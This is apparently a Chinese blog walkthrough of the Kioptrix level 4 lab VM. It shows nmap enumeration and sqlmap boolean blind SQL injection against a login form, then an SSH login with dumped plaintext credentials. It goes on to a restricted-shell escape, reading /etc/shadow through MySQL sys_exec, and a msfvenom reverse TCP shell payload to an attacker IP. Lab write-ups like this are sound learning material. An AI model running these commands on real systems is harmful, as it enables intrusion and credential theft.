level-4-布尔盲注

::: {.container}
::: {.post}
::: {.show-content}
(下载地址见以前的文章)该虚拟机下载下来后只有一个vmdk文件,要创建一个新建一个虚拟机才能使用,方法详情

按例扫描IP和端口,信息搜集如下:

192.168.1.107

22(ssh)、80(http)、139(Samba)、445

22端口版本  OpenSSH 4.7p1   

80端口           Apache/2.2.8 (Ubuntu) PHP/5.2.4-2 ubuntu5.6 with
Suhosin-Patch Server

                     
 经过paros的爬虫,确认该网站只有这么一个登陆表单,没有其余隐藏内容。

                     
 该网页确认似乎没有绕过表单的漏洞,单引号没有报错,提示错误的用户名和密码。提交用户名和密码使用的是post方式。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

再用paros进行扫描,发现可能有sql注入漏洞。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

139端口        netbios-ssn Samba smbd 3.X - 4.X

445端口        netbios-ssn Samba smbd 3.0.28a

linux内核版本 Linux 2.6.9 - 2.6.33

smb-enum-users: Domain: KIOPTRIX4; Users: john, loneferret, nobody,
robert, root

使用的命令:

nmap --script=auth 192.168.1.107

nmap --script=vuln -P0 -A -sT 192.168.1.107

有针对性的再次探测

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

确认了sql注入,获取了数据库类型为Mysql。有注入的是mypassword参数。myusername参数用单引号没有报错。

sqlmap -u "http://192.168.1.107\" --forms --dbms=MySQL

没有检测出sql注入, all tested parameters appear to be not
injectable…….
参考

sqlmap -u "http://192.168.1.107/checklogin.php\"
--data="mypassword=root"

sqlmap -u "http://192.168.1.107/checklogin.php\"
--data="mypassword=' or '1'='1"

最后一条命令检测出了,可以看到的是使用的布尔盲注

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

然后就可以如行云流水般的获取到用户名和密码。

当前数据库  members 表名members 列名 id;username;password

password数据:ADGAdsafdfwt4gadfga== 

                             MyNameIsJohn

用户名:john 

               robert

什么情况?明文密码,你TM逗我。。

ssh登陆:尝试robert,貌似不是随便一台主机都能连接,绑定了。ssh公钥检查

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

算了换一个,通过john /  MyNameIsJohn,成功登陆

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

貌似shell被占用,screw up的意思是"一个完全管理不善或者处理不当的情况"

于是能够运行的命令就很有限了。

突破限制的shell

echo os.system('/bin/bash')

echo是一个把字符串输出到终端上的命令。
本来是被限制了的shell,如果运行别的命令,就会不予执行。

本来你关在牢房里,活动空间不过几平米。然而运行这条命令,就相当于把锁打开。echo相当于我们的中间人,它返回了bash
shell。

提权

现在是普通用户权限,可以通过那些有着管理员权限的程序,执行只有管理员才能执行的命令。

就好比,你的权限没有那么大,但是你的朋友有,于是你可以让他你的忙,达成你一个人办不成的事情。

ps aux | grep root

查看具有管理员权限的进程

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

使用mysql

不知道这里为什么没有输入密码,就可以登陆mysql。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

select load_file('/etc/passwd');   查看是否能显示用户名,可以

**select load_file('/etc/shadow'); 查看能否显示密码,不能
**

**select sys_exec("cat /etc/shadow > /tmp/shadow");
 将密码文件复制到其他目录
**

**select sys_exec("chown john /tmp/shadow");  
将复制后的密码文件赋予查看权限
**

**cat /tmp/shadow;  查看密码
**

之后和上一关一样,用msfvenom创建攻击载荷,用nc发送该文件。用mysql运行攻击载荷。成功获取最高权限。

**参考writeup
**

总结:

mysql中执行命令的方式为,select sys_exec('需要执行的bash shell命令')

创建攻击载荷的命令:-p是payload,-f是format。确定攻击载荷的平台类型和形式。elf是linux平台可执行文件,类似与exe。

msfvenom -p linux/x86/shell_reverse_tcp -f elf  lhost=192.168.60.136
lport=1234 > /var/www/shell

:::
:::
:::